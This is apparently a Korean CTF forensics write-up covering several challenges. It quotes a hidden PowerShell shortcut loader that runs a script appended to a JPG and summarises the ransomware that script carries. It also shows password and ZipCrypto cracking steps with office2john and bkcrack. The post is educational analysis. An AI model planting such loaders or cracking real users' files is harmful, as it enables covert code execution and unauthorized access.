• [CTF] THJCC 포렌식 라이트업

    2026. 2. 23.

    by. 김예삐

     
    사실 다른 CTF에 참여하느라 요건 제대로 참여하지 못했지만 공부할 겸 써보려고 한다. (로고가 너무 내스타일이다.)


    주어진 문제 파일의 압축을 풀어보면 바로가기 파일들과, LOCK 파일, 이미지 파일이 들어있다.
    랜섬웨어로 인해 flag.txt가 잠겼나보군.
     

    그 중 calc의 바로가기 대상을 확인해보면 다음과 같다.

    powershell.exe -NoP -W Hidden -EP Bypass -C "
      calc;
      $fs=[IO.File]::OpenRead('.\Uto.jpg');
      $fs.Seek(-1503,[IO.SeekOrigin]::End)|Out-Null;
      IEX (New-Object IO.StreamReader($fs,[Text.Encoding]::UTF8)).ReadToEnd()
    "IEX (New-Object IO.StreamReader($fs,[Text.Encoding]::UTF8)).ReadToEnd()"

    즉, jpg 파일을 스크립트 저장소로 쓰는 로더라고 생각하면 된다.
     

    Uto.jpg 파일을 살펴보면, 푸터시그니처 뒤에 PowerShell 스크립트가 숨겨져있는 것을 확인할 수 있다.
    그래서 로더가 Seek(-1503, End)로 정확히 요 부분만 읽어 실행한 것.
     
    Uto.jpg 뒤에 붙은 스크립트는 요약해보면, 
    1. flag.txt를 찾음.
    2. 현재 UTC를 구함.
    3. 키 = MD5(UnixTimeSeconds 문자열) (16바이트 → AES-128 키) ✨
    4. AES-CBC(PKCS7)로 flag.txt를 암호화해서 flag.txt.lock 생성.
    5. 출력 파일 앞에 8바이트 UnixTime (int64 little-endian), 16바이트 IV, 그 뒤에 ciphertext(암호문)을 붙임.
    6. 마지막에 원본 flag.txt를 삭제.
    (주석으로 다 적어주신 매우 친절한 문제)
     

    먼저, UnixTime, IV, Ciphertext을 분리해야 한다.
    UnixTime = 첫 8바이트 = 3A 71 5A 69 00 00 00 00
    IV = 다음 16바이트 = 36 DD 3B 94 E8 06 2A 5F EA F3 63 9D E2 68 61 63
    CT = 나머지 = D0 2E C4 32 61 96 19 5D 4D 80 94 22 1E 94 49 9A DB 28 4E B4 E3 DC DE 9E 4E 29 D7 98 A3 BE CB 70 CA E5 3A 97 5F BB 2A 80 89 13 5A D9 FC 4A C5 57
     
    그다음, 키를 만들어서 복호화해주면 된다. 
    key = MD5(str(unix_time).encode('utf-8'))
    AES-CBC로 복호화해주고, PKCS7 padding 제거해주면 flag가 나온다. 
     

    from struct import unpack
    from hashlib import md5
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    
    raw = open("flag.txt.lock", "rb").read()
    
    timestamp = unpack("<q", raw[:8])[0]
    iv = raw[8:24]
    ciphertext = raw[24:]
    key = md5(str(timestamp).encode()).digest()
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = unpad(cipher.decrypt(ciphertext), 16)
    
    print(plaintext.decode())

     
    1. flag.txt.lock 파일 읽기
    2. 파일 앞부분에서 timestamp 꺼내기
    3. 그 timestamp로 AES 키 만들기 (MD5)
    4. 파일에서 IV와 암호문 분리
    5. AES-CBC로 복호화
    6. 패딩 제거
    7. 문자열 출력
     
     
    실행해주면 복호화 완료 ~
    🎉THJCC{L1nK_R4Ns0mWar3_😭😭😭😭}


    리눅스 펭귄이 빙글빙글 돌고있다. 🐧🐧
     
     

    스테가노그래피 문제인 거 같으니 HxD로 열어보자.
     

    jpg 푸터 시그니처 뒤에 압축 파일이 숨겨져 있다.
     

    압축 파일 내부엔 readme.xlsx가 들어있고,

    해당 파일은 암호가 걸려있다.
    문제에서 Arch Linux를 사용한다고 했으니 office2john으로 크랙하는 문제인 듯하다.
     

    비밀번호는 rush2112로 쉽게 찾을 수 있다.
     

    🎉THJCC{7h15_15_7h3_m3554g3....._1_u53_4rch_b7w}
     
     


    주어진 파일은 오디오 파일이고, 열어보면 기계음 소리만 들린다. 
    보통 이런 기계음 소리가 들리면 SSTV, Morse, DTMP, spectrogram, DeepSound 중 하나인 경우가 많다.
     

    먼저 Audasity로 열어본 결과, 눈에 띄는 부분은 없었으므로 Morse 탈락 spectrogram 탈락.
     

    DeepSound 탈락.
     
    이제 남은 건 SSTV, DTMP인데, 문제 제목이 "TV"인 걸 보면 SSTV가 맞는 듯하다.
     

    SSTV 디코더로 Robot36 - SSTV Image Decoder를 많이 쓰지만, 아이폰에선 유료이므로 SimpleSSTV 앱 사용해서 풀었다. 
     
    🎉THJCC{sSTv-is_aMaZINg}


    .pcapng 파일이 주어졌고, 문제 이름이 "ExBaby Shark Master" 이므로 Wireshark 사용해서 푸는 문제로 보인다.
     

    http로 검색해보면 HTTP POST /upload 요청 패킷이 딱 두 개 있다.
     

    filename: exbaby-shark-master.txt
    🎉THJCC{1t'S-3Asy*-r1gh7?????}
     
    문제 이름을 검색해보란 뜻이었나보오.. 


    솔브가 가장 적었던 문제다. 
     
    문제 설명에는 두 가지가 적혀있다. 
    1. 압축파일엔 비밀번호가 걸려있다.
    2. 색깔은 많은 것을 말해준다.
     

    문제 설명 그대로 압축파일은 비밀번호가 걸려있다.
     

    압축 파일의 내부엔 png 파일이 들어있고, 압축률이 0%이다.
    (B 플래그는 ZipCrypto (Legacy/PKZIP 암호화)를 의미한다.)
    즉, bkcrack으로 png 파일만 쏙 빼올 수 있다는 뜻이다. 👍
     

    복구된 zip 내부 키는 d3b0bb05, 2e88b90e, ed7f7e33이다. 

    ./build/src/cli/bkcrack \
    -C /mnt/c/users/been_/downloads/THJCC_CoLoR_iS_cOdE.zip \
    -k d3b0bb05 2e88b90e ed7f7e33 \
    -D /mnt/c/users/been_/downloads/unlocked.zip

    rainbow.png 까지 추출했으니 이제 분석해보자.
     

    exiftool 사용해본 결과, User Comment에 Ook! 코드가 숨겨져 있었고, 이 Ook! 코드를 디코드해보면 다음과 같다. 
     

    https://www.dcode.fr/ook-language

     

    Ook! Programming Language - Esoteric Code Decoder, Online Translator

    Tool for decoding / encoding in Ook!. The programming language Ook! Is inspired by Brainfuck language and consists of the words Ook Ook.

    www.dcode.fr

    요 사이트 사용해서 디코드해줬슴다.
    THJCC{c0lorfU1_col0rfu!_c0
     
    그리고 절반은 아마 문제 설명에 써있던 "색깔"쪽에 있을 듯한데,
    보통 색깔이라고 하면
    1. LSB 스테가노그래피
    2. 비트 플레인
    3. R, G, B 중 한 채널
    4. 픽셀값 자체가 ASCII
    인 경우가 많아서 다 시도해봤으나 결국 찾지 못했다. 
     

    열심히 서치해보고 알게된 사실..
     
    이건 단순한 이미지가 아니라 Piet 언어로 작성된 프로그램이었다.
    브레인퍽처럼 난해한 프로그래밍 언어 중 하나인 Piet는 코드가 글자가 아니라 색으로 이루어진 그림으로 표현된다.
    (신기하다.)
     

     
    https://www.bertnase.de/npiet/npiet-execute.php
    Piet program image를 업로드하면 npiet가 실행하고 그 결과를 보여주는 사이트이다.
     
    오늘도 하나 배워간다. 👍 끝!
     

    'CTF' 카테고리의 다른 글

    [CTF] MVS 2026 포렌식 라이트업  (0) 2026.02.28
    [CTF] MVS 2026 암호학 라이트업  (0) 2026.02.19
    [CTF] 0xFun 2026 포렌식 라이트업  (0) 2026.02.15
    [CTF] HCTF 2026 포렌식 라이트업  (0) 2026.02.10

    댓글